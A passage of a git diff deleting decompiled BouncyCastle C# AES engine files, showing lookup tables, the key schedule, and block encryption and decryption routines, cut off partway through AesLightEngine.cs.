1593260334u, 4121936770u, 3196083615u, 2090061929u, 2838353263u, 3004310991u, - 999926984u, 2809993232u, 1852021992u, 2075868123u, 158869197u, 4095236462u, 28809964u, 2828685187u, 1701746150u, 2129067946u, - 147831841u, 3873969647u, 3650873274u, 3459673930u, 3557400554u, 3598495785u, 2947720241u, 824393514u, 815048134u, 3227951669u, - 935087732u, 2798289660u, 2966458592u, 366520115u, 1251476721u, 4158319681u, 240176511u, 804688151u, 2379631990u, 1303441219u, - 1414376140u, 3741619940u, 3820343710u, 461924940u, 3089050817u, 2136040774u, 82468509u, 1563790337u, 1937016826u, 776014843u, - 1511876531u, 1389550482u, 861278441u, 323475053u, 2355222426u, 2047648055u, 2383738969u, 2302415851u, 3995576782u, 902390199u, - 3991215329u, 1018251130u, 1507840668u, 1064563285u, 2043548696u, 3208103795u, 3939366739u, 1537932639u, 342834655u, 2262516856u, - 2180231114u, 1053059257u, 741614648u, 1598071746u, 1925389590u, 203809468u, 2336832552u, 1100287487u, 1895934009u, 3736275976u, - 2632234200u, 2428589668u, 1636092795u, 1890988757u, 1952214088u, 1113045200u - }; - - private static readonly uint[] Tinv1 = new uint[256] - { - 2817806672u, 1698790995u, 2752977603u, 1579629206u, 1806384075u, 1167925233u, 1492823211u, 65227667u, 4197458005u, 1836494326u, - 1993115793u, 1275262245u, 3622129660u, 3408578007u, 1144333952u, 2741155215u, 1521606217u, 465184103u, 250234264u, 3237895649u, - 1966064386u, 4031545618u, 2537983395u, 4191382470u, 1603208167u, 2626819477u, 2054012907u, 1498584538u, 2210321453u, 561273043u, - 1776306473u, 3368652356u, 2311222634u, 2039411832u, 1045993835u, 1907959773u, 1340194486u, 2911432727u, 2887829862u, 986611124u, - 1256153880u, 823846274u, 860985184u, 2136171077u, 2003087840u, 2926295940u, 2692873756u, 722008468u, 1749577816u, 4249194265u, - 1826526343u, 4168831671u, 3547573027u, 38499042u, 2401231703u, 2874500650u, 686535175u, 3266653955u, 2076542618u, 137876389u, - 2267558130u, 2780767154u, 1778582202u, 2182540636u, 483363371u, 3027871634u, 4060607472u, 3798552225u, 4107953613u, 3188000469u, - 1647628575u, 4272342154u, 1395537053u, 1442030240u, 3783918898u, 3958809717u, 3968011065u, 4016062634u, 2675006982u, 275692881u, - 2317434617u, 115185213u, 88006062u, 3185986886u, 2371129781u, 1573155077u, 3557164143u, 357589247u, 4221049124u, 3921532567u, - 1128303052u, 2665047927u, 1122545853u, 2341013384u, 1528424248u, 4006115803u, 175939911u, 256015593u, 512030921u, 0u, - 2256537987u, 3979031112u, 1880170156u, 1918528590u, 4279172603u, 948244310u, 3584965918u, 959264295u, 3641641572u, 2791073825u, - 1415289809u, 775300154u, 1728711857u, 3881276175u, 2532226258u, 2442861470u, 3317727311u, 551313826u, 1266113129u, 437394454u, - 3130253834u, 715178213u, 3760340035u, 387650077u, 218697227u, 3347837613u, 2830511545u, 2837320904u, 435246981u, 125153100u, - 3717852859u, 1618977789u, 637663135u, 4117912764u, 996558021u, 2130402100u, 692292470u, 3324234716u, 4243437160u, 4058298467u, - 3694254026u, 2237874704u, 580326208u, 298222624u, 608863613u, 1035719416u, 855223825u, 2703869805u, 798891339u, 817028339u, - 1384517100u, 3821107152u, 380840812u, 3111168409u, 1217663482u, 1693009698u, 2365368516u, 1072734234u, 746411736u, 2419270383u, - 1313441735u, 3510163905u, 2731183358u, 198481974u, 2180359887u, 3732579624u, 2394413606u, 3215802276u, 2637835492u, 2457358349u, - 3428805275u, 1182684258u, 328070850u, 3101200616u, 4147719774u, 2948825845u, 2153619390u, 2479909244u, 768962473u, 304467891u, - 2578237499u, 2098729127u, 1671227502u, 3141262203u, 2015808777u, 408514292u, 3080383489u, 2588902312u, 1855317605u, 3875515006u, - 3485212936u, 3893751782u, 2615655129u, 913263310u, 161475284u, 2091919830u, 2997105071u, 591342129u, 2493892144u, 1721906624u, - 3159258167u, 3397581990u, 3499155632u, 3634836245u, 2550460746u, 3672916471u, 1355644686u, 4136703791u, 3595400845u, 2968470349u, - 1303039060u, 76997855u, 3050413795u, 2288667675u, 523026872u, 1365591679u, 3932069124u, 898367837u, 1955068531u, 1091304238u, - 493335386u, 3537605202u, 1443948851u, 1205234963u, 1641519756u, 211892090u, 351820174u, 1007938441u, 665439982u, 3378624309u, - 3843875309u, 2974251580u, 3755121753u, 1945261375u, 3457423481u, 935818175u, 3455538154u, 2868731739u, 1866325780u, 3678697606u, - 4088384129u, 3295197502u, 874788908u, 1084473951u, 3273463410u, 635616268u, 1228679307u, 2500722497u, 27801969u, 3003910366u, - 3837057180u, 3243664528u, 2227927905u, 3056784752u, 1550600308u, 1471729730u - }; - - private static readonly uint[] Tinv2 = new uint[256] - { - 4098969767u, 1098797925u, 387629988u, 658151006u, 2872822635u, 2636116293u, 4205620056u, 3813380867u, 807425530u, 1991112301u, - 3431502198u, 49620300u, 3847224535u, 717608907u, 891715652u, 1656065955u, 2984135002u, 3123013403u, 3930429454u, 4267565504u, - 801309301u, 1283527408u, 1183687575u, 3547055865u, 2399397727u, 2450888092u, 1841294202u, 1385552473u, 3201576323u, 1951978273u, - 3762891113u, 3381544136u, 3262474889u, 2398386297u, 1486449470u, 3106397553u, 3787372111u, 2297436077u, 550069932u, 3464344634u, - 3747813450u, 451248689u, 1368875059u, 1398949247u, 1689378935u, 1807451310u, 2180914336u, 150574123u, 1215322216u, 1167006205u, - 3734275948u, 2069018616u, 1940595667u, 1265820162u, 534992783u, 1432758955u, 3954313000u, 3039757250u, 3313932923u, 936617224u, - 674296455u, 3206787749u, 50510442u, 384654466u, 3481938716u, 2041025204u, 133427442u, 1766760930u, 3664104948u, 84334014u, - 886120290u, 2797898494u, 775200083u, 4087521365u, 2315596513u, 4137973227u, 2198551020u, 1614850799u, 1901987487u, 1857900816u, - 557775242u, 3717610758u, 1054715397u, 3863824061u, 1418835341u, 3295741277u, 100954068u, 1348534037u, 2551784699u, 3184957417u, - 1082772547u, 3647436702u, 3903896898u, 2298972299u, 434583643u, 3363429358u, 2090944266u, 1115482383u, 2230896926u, 0u, - 2148107142u, 724715757u, 287222896u, 1517047410u, 251526143u, 2232374840u, 2923241173u, 758523705u, 252339417u, 1550328230u, - 1536938324u, 908343854u, 168604007u, 1469255655u, 4004827798u, 2602278545u, 3229634501u, 3697386016u, 2002413899u, 303830554u, - 2481064634u, 2696996138u, 574374880u, 454171927u, 151915277u, 2347937223u, 3056449960u, 504678569u, 4049044761u, 1974422535u, - 2582559709u, 2141453664u, 33005350u, 1918680309u, 1715782971u, 4217058430u, 1133213225u, 600562886u, 3988154620u, 3837289457u, - 836225756u, 1665273989u, 2534621218u, 3330547729u, 1250262308u, 3151165501u, 4188934450u, 700935585u, 2652719919u, 3000824624u, - 2249059410u, 3245854947u, 3005967382u, 1890163129u, 2484206152u, 3913753188u, 4238918796u, 4037024319u, 2102843436u, 857927568u, - 1233635150u, 953795025u, 3398237858u, 3566745099u, 4121350017u, 2057644254u, 3084527246u, 2906629311u, 976020637u, 2018512274u, - 1600822220u, 2119459398u, 2381758995u, 3633375416u, 959340279u, 3280139695u, 1570750080u, 3496574099u, 3580864813u, 634368786u, - 2898803609u, 403744637u, 2632478307u, 1004239803u, 650971512u, 1500443672u, 2599158199u, 1334028442u, 2514904430u, 4289363686u, - 3156281551u, 368043752u, 3887782299u, 1867173430u, 2682967049u, 2955531900u, 2754719666u, 1059729699u, 2781229204u, 2721431654u, - 1316239292u, 2197595850u, 2430644432u, 2805143000u, 82922136u, 3963746266u, 3447656016u, 2434215926u, 1299615190u, 4014165424u, - 2865517645u, 2531581700u, 3516851125u, 1783372680u, 750893087u, 1699118929u, 1587348714u, 2348899637u, 2281337716u, 201010753u, - 1739807261u, 3683799762u, 283718486u, 3597472583u, 3617229921u, 2704767500u, 4166618644u, 334203196u, 2848910887u, 1639396809u, - 484568549u, 1199193265u, 3533461983u, 4065673075u, 337148366u, 3346251575u, 4149471949u, 4250885034u, 1038029935u, 1148749531u, - 2949284339u, 1756970692u, 607661108u, 2747424576u, 488010435u, 3803974693u, 1009290057u, 234832277u, 2822336769u, 201907891u, - 3034094820u, 1449431233u, 3413860740u, 852848822u, 1816687708u, 3100656215u - }; - - private static readonly uint[] Tinv3 = new uint[256] - { - 1364240372u, 2119394625u, 449029143u, 982933031u, 1003187115u, 535905693u, 2896910586u, 1267925987u, 542505520u, 2918608246u, - 2291234508u, 4112862210u, 1341970405u, 3319253802u, 645940277u, 3046089570u, 3729349297u, 627514298u, 1167593194u, 1575076094u, - 3271718191u, 2165502028u, 2376308550u, 1808202195u, 65494927u, 362126482u, 3219880557u, 2514114898u, 3559752638u, 1490231668u, - 1227450848u, 2386872521u, 1969916354u, 4101536142u, 2573942360u, 668823993u, 3199619041u, 4028083592u, 3378949152u, 2108963534u, - 1662536415u, 3850514714u, 2539664209u, 1648721747u, 2984277860u, 3146034795u, 4263288961u, 4187237128u, 1884842056u, 2400845125u, - 2491903198u, 1387788411u, 2871251827u, 1927414347u, 3814166303u, 1714072405u, 2986813675u, 788775605u, 2258271173u, 3550808119u, - 821200680u, 598910399u, 45771267u, 3982262806u, 2318081231u, 2811409529u, 4092654087u, 1319232105u, 1707996378u, 114671109u, - 3508494900u, 3297443494u, 882725678u, 2728416755u, 87220618u, 2759191542u, 188345475u, 1084944224u, 1577492337u, 3176206446u, - 1056541217u, 2520581853u, 3719169342u, 1296481766u, 2444594516u, 1896177092u, 74437638u, 1627329872u, 421854104u, 3600279997u, - 2311865152u, 1735892697u, 2965193448u, 126389129u, 3879230233u, 2044456648u, 2705787516u, 2095648578u, 4173930116u, 0u, - 159614592u, 843640107u, 514617361u, 1817080410u, 4261150478u, 257308805u, 1025430958u, 908540205u, 174381327u, 1747035740u, - 2614187099u, 607792694u, 212952842u, 2467293015u, 3033700078u, 463376795u, 2152711616u, 1638015196u, 1516850039u, 471210514u, - 3792353939u, 3236244128u, 1011081250u, 303896347u, 235605257u, 4071475083u, 767142070u, 348694814u, 1468340721u, 2940995445u, - 4005289369u, 2751291519u, 4154402305u, 1555887474u, 1153776486u, 1530167035u, 2339776835u, 3420243491u, 3060333805u, 3093557732u, - 3620396081u, 1108378979u, 322970263u, 2216694214u, 2239571018u, 3539484091u, 2920362745u, 3345850665u, 491466654u, 3706925234u, - 233591430u, 2010178497u, 728503987u, 2845423984u, 301615252u, 1193436393u, 2831453436u, 2686074864u, 1457007741u, 586125363u, - 2277985865u, 3653357880u, 2365498058u, 2553678804u, 2798617077u, 2770919034u, 3659959991u, 1067761581u, 753179962u, 1343066744u, - 1788595295u, 1415726718u, 4139914125u, 2431170776u, 777975609u, 2197139395u, 2680062045u, 1769771984u, 1873358293u, 3484619301u, - 3359349164u, 279411992u, 3899548572u, 3682319163u, 3439949862u, 1861490777u, 3959535514u, 2208864847u, 3865407125u, 2860443391u, - 554225596u, 4024887317u, 3134823399u, 1255028335u, 3939764639u, 701922480u, 833598116u, 707863359u, 3325072549u, 901801634u, - 1949809742u, 4238789250u, 3769684112u, 857069735u, 4048197636u, 1106762476u, 2131644621u, 389019281u, 1989006925u, 1129165039u, - 3428076970u, 3839820950u, 2665723345u, 1276872810u, 3250069292u, 1182749029u, 2634345054u, 22885772u, 4201870471u, 4214112523u, - 3009027431u, 2454901467u, 3912455696u, 1829980118u, 2592891351u, 930745505u, 1502483704u, 3951639571u, 3471714217u, 3073755489u, - 3790464284u, 2050797895u, 2623135698u, 1430221810u, 410635796u, 1941911495u, 1407897079u, 1599843069u, 3742658365u, 2022103876u, - 3397514159u, 3107898472u, 942421028u, 3261022371u, 376619805u, 3154912738u, 680216892u, 4282488077u, 963707304u, 148812556u, - 3634160820u, 1687208278u, 2069988555u, 3580933682u, 1215585388u, 3494008760u - }; - - private int ROUNDS; - - private uint[][] WorkingKey; - - private uint C0; - - private uint C1; - - private uint C2; - - private uint C3; - - private bool forEncryption; - - public virtual string AlgorithmName => "AES"; - - public virtual bool IsPartialBlockOkay => false; - - private static uint Shift(uint r, int shift) - { - return (r >> shift) | (r << 32 - shift); - } - - private static uint FFmulX(uint x) - { - return ((x & 0x7F7F7F7F) << 1) ^ (((x & 0x80808080u) >> 7) * 27); - } - - private static uint FFmulX2(uint x) - { - uint num = (x & 0x3F3F3F3F) << 2; - uint num2 = x & 0xC0C0C0C0u; - num2 ^= num2 >> 1; - return num ^ (num2 >> 2) ^ (num2 >> 5); - } - - private static uint Inv_Mcol(uint x) - { - uint num = x; - uint num2 = num ^ Shift(num, 8); - num ^= FFmulX(num2); - num2 ^= FFmulX2(num); - return num ^ (num2 ^ Shift(num2, 16)); - } - - private static uint SubWord(uint x) - { - return (uint)(S[x & 0xFF] | (S[(x >> 8) & 0xFF] << 8) | (S[(x >> 16) & 0xFF] << 16) | (S[(x >> 24) & 0xFF] << 24)); - } - - private uint[][] GenerateWorkingKey(byte[] key, bool forEncryption) - { - int num = key.Length; - if (num < 16 || num > 32 || (num & 7) != 0) - { - throw new ArgumentException("Key length not 128/192/256 bits."); - } - int num2 = num >> 2; - ROUNDS = num2 + 6; - uint[][] array = new uint[ROUNDS + 1][]; - for (int i = 0; i <= ROUNDS; i++) - { - array[i] = new uint[4]; - } - switch (num2) - { - case 4: - { - uint num21 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num21; - uint num22 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num22; - uint num23 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num23; - uint num24 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num24; - for (int l = 1; l <= 10; l++) - { - uint num25 = SubWord(Shift(num24, 8)) ^ rcon[l - 1]; - num21 ^= num25; - array[l][0] = num21; - num22 ^= num21; - array[l][1] = num22; - num23 ^= num22; - array[l][2] = num23; - num24 ^= num23; - array[l][3] = num24; - } - break; - } - case 6: - { - uint num13 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num13; - uint num14 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num14; - uint num15 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num15; - uint num16 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num16; - uint num17 = Pack.LE_To_UInt32(key, 16); - array[1][0] = num17; - uint num18 = Pack.LE_To_UInt32(key, 20); - array[1][1] = num18; - uint num19 = 1u; - uint num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[1][2] = num13; - num14 ^= num13; - array[1][3] = num14; - num15 ^= num14; - array[2][0] = num15; - num16 ^= num15; - array[2][1] = num16; - num17 ^= num16; - array[2][2] = num17; - num18 ^= num17; - array[2][3] = num18; - for (int k = 3; k < 12; k += 3) - { - num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[k][0] = num13; - num14 ^= num13; - array[k][1] = num14; - num15 ^= num14; - array[k][2] = num15; - num16 ^= num15; - array[k][3] = num16; - num17 ^= num16; - array[k + 1][0] = num17; - num18 ^= num17; - array[k + 1][1] = num18; - num20 = SubWord(Shift(num18, 8)) ^ num19; - num19 <<= 1; - num13 ^= num20; - array[k + 1][2] = num13; - num14 ^= num13; - array[k + 1][3] = num14; - num15 ^= num14; - array[k + 2][0] = num15; - num16 ^= num15; - array[k + 2][1] = num16; - num17 ^= num16; - array[k + 2][2] = num17; - num18 ^= num17; - array[k + 2][3] = num18; - } - num20 = SubWord(Shift(num18, 8)) ^ num19; - num13 ^= num20; - array[12][0] = num13; - num14 ^= num13; - array[12][1] = num14; - num15 ^= num14; - array[12][2] = num15; - num16 ^= num15; - array[12][3] = num16; - break; - } - case 8: - { - uint num3 = Pack.LE_To_UInt32(key, 0); - array[0][0] = num3; - uint num4 = Pack.LE_To_UInt32(key, 4); - array[0][1] = num4; - uint num5 = Pack.LE_To_UInt32(key, 8); - array[0][2] = num5; - uint num6 = Pack.LE_To_UInt32(key, 12); - array[0][3] = num6; - uint num7 = Pack.LE_To_UInt32(key, 16); - array[1][0] = num7; - uint num8 = Pack.LE_To_UInt32(key, 20); - array[1][1] = num8; - uint num9 = Pack.LE_To_UInt32(key, 24); - array[1][2] = num9; - uint num10 = Pack.LE_To_UInt32(key, 28); - array[1][3] = num10; - uint num11 = 1u; - uint num12; - for (int j = 2; j < 14; j += 2) - { - num12 = SubWord(Shift(num10, 8)) ^ num11; - num11 <<= 1; - num3 ^= num12; - array[j][0] = num3; - num4 ^= num3; - array[j][1] = num4; - num5 ^= num4; - array[j][2] = num5; - num6 ^= num5; - array[j][3] = num6; - num12 = SubWord(num6); - num7 ^= num12; - array[j + 1][0] = num7; - num8 ^= num7; - array[j + 1][1] = num8; - num9 ^= num8; - array[j + 1][2] = num9; - num10 ^= num9; - array[j + 1][3] = num10; - } - num12 = SubWord(Shift(num10, 8)) ^ num11; - num3 ^= num12; - array[14][0] = num3; - num4 ^= num3; - array[14][1] = num4; - num5 ^= num4; - array[14][2] = num5; - num6 ^= num5; - array[14][3] = num6; - break; - } - default: - throw new InvalidOperationException("Should never get here"); - } - if (!forEncryption) - { - for (int m = 1; m < ROUNDS; m++) - { - uint[] array2 = array[m]; - for (int n = 0; n < 4; n++) - { - array2[n] = Inv_Mcol(array2[n]); - } - } - } - return array; - } - - public virtual void Init(bool forEncryption, ICipherParameters parameters) - { - if (!(parameters is KeyParameter keyParameter)) - { - throw new ArgumentException("invalid parameter passed to AES init - " + Platform.GetTypeName(parameters)); - } - WorkingKey = GenerateWorkingKey(keyParameter.GetKey(), forEncryption); - this.forEncryption = forEncryption; - } - - public virtual int GetBlockSize() - { - return 16; - } - - public virtual int ProcessBlock(byte[] input, int inOff, byte[] output, int outOff) - { - if (WorkingKey == null) - { - throw new InvalidOperationException("AES engine not initialised"); - } - Check.DataLength(input, inOff, 16, "input buffer too short"); - Check.OutputLength(output, outOff, 16, "output buffer too short"); - UnPackBlock(input, inOff); - if (forEncryption) - { - EncryptBlock(WorkingKey); - } - else - { - DecryptBlock(WorkingKey); - } - PackBlock(output, outOff); - return 16; - } - - public virtual void Reset() - { - } - - private void UnPackBlock(byte[] bytes, int off) - { - C0 = Pack.LE_To_UInt32(bytes, off); - C1 = Pack.LE_To_UInt32(bytes, off + 4); - C2 = Pack.LE_To_UInt32(bytes, off + 8); - C3 = Pack.LE_To_UInt32(bytes, off + 12); - } - - private void PackBlock(byte[] bytes, int off) - { - Pack.UInt32_To_LE(C0, bytes, off); - Pack.UInt32_To_LE(C1, bytes, off + 4); - Pack.UInt32_To_LE(C2, bytes, off + 8); - Pack.UInt32_To_LE(C3, bytes, off + 12); - } - - private void EncryptBlock(uint[][] KW) - { - uint[] array = KW[0]; - uint num = C0 ^ array[0]; - uint num2 = C1 ^ array[1]; - uint num3 = C2 ^ array[2]; - uint num4 = C3 ^ array[3]; - int num5 = 1; - uint num6; - uint num7; - uint num8; - while (num5 < ROUNDS - 1) - { - array = KW[num5++]; - num6 = T0[num & 0xFF] ^ T1[(num2 >> 8) & 0xFF] ^ T2[(num3 >> 16) & 0xFF] ^ T3[num4 >> 24] ^ array[0]; - num7 = T0[num2 & 0xFF] ^ T1[(num3 >> 8) & 0xFF] ^ T2[(num4 >> 16) & 0xFF] ^ T3[num >> 24] ^ array[1]; - num8 = T0[num3 & 0xFF] ^ T1[(num4 >> 8) & 0xFF] ^ T2[(num >> 16) & 0xFF] ^ T3[num2 >> 24] ^ array[2]; - num4 = T0[num4 & 0xFF] ^ T1[(num >> 8) & 0xFF] ^ T2[(num2 >> 16) & 0xFF] ^ T3[num3 >> 24] ^ array[3]; - array = KW[num5++]; - num = T0[num6 & 0xFF] ^ T1[(num7 >> 8) & 0xFF] ^ T2[(num8 >> 16) & 0xFF] ^ T3[num4 >> 24] ^ array[0]; - num2 = T0[num7 & 0xFF] ^ T1[(num8 >> 8) & 0xFF] ^ T2[(num4 >> 16) & 0xFF] ^ T3[num6 >> 24] ^ array[1]; - num3 = T0[num8 & 0xFF] ^ T1[(num4 >> 8) & 0xFF] ^ T2[(num6 >> 16) & 0xFF] ^ T3[num7 >> 24] ^ array[2]; - num4 = T0[num4 & 0xFF] ^ T1[(num6 >> 8) & 0xFF] ^ T2[(num7 >> 16) & 0xFF] ^ T3[num8 >> 24] ^ array[3]; - } - array = KW[num5++]; - num6 = T0[num & 0xFF] ^ T1[(num2 >> 8) & 0xFF] ^ T2[(num3 >> 16) & 0xFF] ^ T3[num4 >> 24] ^ array[0]; - num7 = T0[num2 & 0xFF] ^ T1[(num3 >> 8) & 0xFF] ^ T2[(num4 >> 16) & 0xFF] ^ T3[num >> 24] ^ array[1]; - num8 = T0[num3 & 0xFF] ^ T1[(num4 >> 8) & 0xFF] ^ T2[(num >> 16) & 0xFF] ^ T3[num2 >> 24] ^ array[2]; - num4 = T0[num4 & 0xFF] ^ T1[(num >> 8) & 0xFF] ^ T2[(num2 >> 16) & 0xFF] ^ T3[num3 >> 24] ^ array[3]; - array = KW[num5]; - C0 = (uint)(S[num6 & 0xFF] ^ (S[(num7 >> 8) & 0xFF] << 8) ^ (S[(num8 >> 16) & 0xFF] << 16) ^ (S[num4 >> 24] << 24)) ^ array[0]; - C1 = (uint)(S[num7 & 0xFF] ^ (S[(num8 >> 8) & 0xFF] << 8) ^ (S[(num4 >> 16) & 0xFF] << 16) ^ (S[num6 >> 24] << 24)) ^ array[1]; - C2 = (uint)(S[num8 & 0xFF] ^ (S[(num4 >> 8) & 0xFF] << 8) ^ (S[(num6 >> 16) & 0xFF] << 16) ^ (S[num7 >> 24] << 24)) ^ array[2]; - C3 = (uint)(S[num4 & 0xFF] ^ (S[(num6 >> 8) & 0xFF] << 8) ^ (S[(num7 >> 16) & 0xFF] << 16) ^ (S[num8 >> 24] << 24)) ^ array[3]; - } - - private void DecryptBlock(uint[][] KW) - { - uint[] array = KW[ROUNDS]; - uint num = C0 ^ array[0]; - uint num2 = C1 ^ array[1]; - uint num3 = C2 ^ array[2]; - uint num4 = C3 ^ array[3]; - int num5 = ROUNDS - 1; - uint num6; - uint num7; - uint num8; - while (num5 > 1) - { - array = KW[num5--]; - num6 = Tinv0[num & 0xFF] ^ Tinv1[(num4 >> 8) & 0xFF] ^ Tinv2[(num3 >> 16) & 0xFF] ^ Tinv3[num2 >> 24] ^ array[0]; - num7 = Tinv0[num2 & 0xFF] ^ Tinv1[(num >> 8) & 0xFF] ^ Tinv2[(num4 >> 16) & 0xFF] ^ Tinv3[num3 >> 24] ^ array[1]; - num8 = Tinv0[num3 & 0xFF] ^ Tinv1[(num2 >> 8) & 0xFF] ^ Tinv2[(num >> 16) & 0xFF] ^ Tinv3[num4 >> 24] ^ array[2]; - num4 = Tinv0[num4 & 0xFF] ^ Tinv1[(num3 >> 8) & 0xFF] ^ Tinv2[(num2 >> 16) & 0xFF] ^ Tinv3[num >> 24] ^ array[3]; - array = KW[num5--]; - num = Tinv0[num6 & 0xFF] ^ Tinv1[(num4 >> 8) & 0xFF] ^ Tinv2[(num8 >> 16) & 0xFF] ^ Tinv3[num7 >> 24] ^ array[0]; - num2 = Tinv0[num7 & 0xFF] ^ Tinv1[(num6 >> 8) & 0xFF] ^ Tinv2[(num4 >> 16) & 0xFF] ^ Tinv3[num8 >> 24] ^ array[1]; - num3 = Tinv0[num8 & 0xFF] ^ Tinv1[(num7 >> 8) & 0xFF] ^ Tinv2[(num6 >> 16) & 0xFF] ^ Tinv3[num4 >> 24] ^ array[2]; - num4 = Tinv0[num4 & 0xFF] ^ Tinv1[(num8 >> 8) & 0xFF] ^ Tinv2[(num7 >> 16) & 0xFF] ^ Tinv3[num6 >> 24] ^ array[3]; - } - array = KW[1]; - num6 = Tinv0[num & 0xFF] ^ Tinv1[(num4 >> 8) & 0xFF] ^ Tinv2[(num3 >> 16) & 0xFF] ^ Tinv3[num2 >> 24] ^ array[0]; - num7 = Tinv0[num2 & 0xFF] ^ Tinv1[(num >> 8) & 0xFF] ^ Tinv2[(num4 >> 16) & 0xFF] ^ Tinv3[num3 >> 24] ^ array[1]; - num8 = Tinv0[num3 & 0xFF] ^ Tinv1[(num2 >> 8) & 0xFF] ^ Tinv2[(num >> 16) & 0xFF] ^ Tinv3[num4 >> 24] ^ array[2]; - num4 = Tinv0[num4 & 0xFF] ^ Tinv1[(num3 >> 8) & 0xFF] ^ Tinv2[(num2 >> 16) & 0xFF] ^ Tinv3[num >> 24] ^ array[3]; - array = KW[0]; - C0 = (uint)(Si[num6 & 0xFF] ^ (Si[(num4 >> 8) & 0xFF] << 8) ^ (Si[(num8 >> 16) & 0xFF] << 16) ^ (Si[num7 >> 24] << 24)) ^ array[0]; - C1 = (uint)(Si[num7 & 0xFF] ^ (Si[(num6 >> 8) & 0xFF] << 8) ^ (Si[(num4 >> 16) & 0xFF] << 16) ^ (Si[num8 >> 24] << 24)) ^ array[1]; - C2 = (uint)(Si[num8 & 0xFF] ^ (Si[(num7 >> 8) & 0xFF] << 8) ^ (Si[(num6 >> 16) & 0xFF] << 16) ^ (Si[num4 >> 24] << 24)) ^ array[2]; - C3 = (uint)(Si[num4 & 0xFF] ^ (Si[(num8 >> 8) & 0xFF] << 8) ^ (Si[(num7 >> 16) & 0xFF] << 16) ^ (Si[num6 >> 24] << 24)) ^ array[3]; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesLightEngine.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesLightEngine.cs deleted file mode 100644 index f092a35..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Engines/AesLightEngine.cs +++ /dev/null @@ -1,454 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Crypto.Utilities; -using Org.BouncyCastle.Utilities; - -namespace Org.BouncyCastle.Crypto.Engines; - -public class AesLightEngine : IBlockCipher -{ - private const uint m1 = 2155905152u; - - private const uint m2 = 2139062143u; - - private const uint m3 = 27u; - - private const uint m4 = 3233857728u; - - private const uint m5 = 1061109567u; - - private const int BLOCK_SIZE = 16; - - private static readonly byte[] S = new byte[256] - { - 99, 124, 119, 123, 242, 107, 111, 197, 48, 1, - 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, - 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, - 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, - 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, - 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, - 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, - 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, - 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, - 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, - 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, - 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, - 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, - 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, - 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, - 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, - 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, - 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, - 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, - 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, - 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, - 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, - 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, - 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, - 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, - 45, 15, 176, 84, 187, 22 - }; - - private static readonly byte[] Si = new byte[256] - { - 82, 9, 106, 213, 48, 54, 165, 56, 191, 64, - 163, 158, 129, 243, 215, 251, 124, 227, 57, 130, - 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, - 233, 203, 84, 123, 148, 50, 166, 194, 35, 61, - 238, 76, 149, 11, 66, 250, 195, 78, 8, 46, - 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, - 109, 139, 209, 37, 114, 248, 246, 100, 134, 104, - 152, 22, 212, 164, 92, 204, 93, 101, 182, 146, - 108, 112, 72, 80, 253, 237, 185, 218, 94, 21, - 70, 87, 167, 141, 157, 132, 144, 216, 171, 0, - 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, - 69, 6, 208, 44, 30, 143, 202, 63, 15, 2, - 193, 175, 189, 3, 1, 19, 138, 107, 58, 145, - 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, - 240, 180, 230, 115, 150, 172, 116, 34, 231, 173, - 53, 133, 226, 249, 55, 232, 28, 117, 223, 110, - 71, 241, 26, 113, 29, 41, 197, 137, 111, 183, - 98, 14, 170, 24, 190, 27, 252, 86, 62, 75, - 198, 210, 121, 32, 154, 219, 192, 254, 120, 205, - 90, 244, 31, 221, 168, 51, 136, 7, 199, 49, - 177, 18, 16, 89, 39, 128, 236, 95, 96, 81, - 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, - 147, 201, 156, 239, 160, 224, 59, 77, 174, 42, - 245, 176, 200, 235, 187, 60, 131, 83, 153, 97, - 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, - 20, 99, 85, 33, 12, 125 - }; - - private static readonly byte[] rcon = new byte[30] - { - 1, 2, 4, 8, 16, 32, 64, 128, 27, 54, - 108, 216, 171, 77, 154, 47, 94, 188, 99, 198, - 151, 53, 106, 212, 179, 125, 250, 239, 197, 145 - }; - - private int ROUNDS; - - private uint[][] WorkingKey; - - private uint C0; - - private uint C1; - - private uint C2; - - private uint C3; - - private bool forEncryption; - - public virtual string AlgorithmName => "AES"; - - public virtual bool IsPartialBlockOkay => false; - - private static uint Shift(uint r, int shift) - { - return 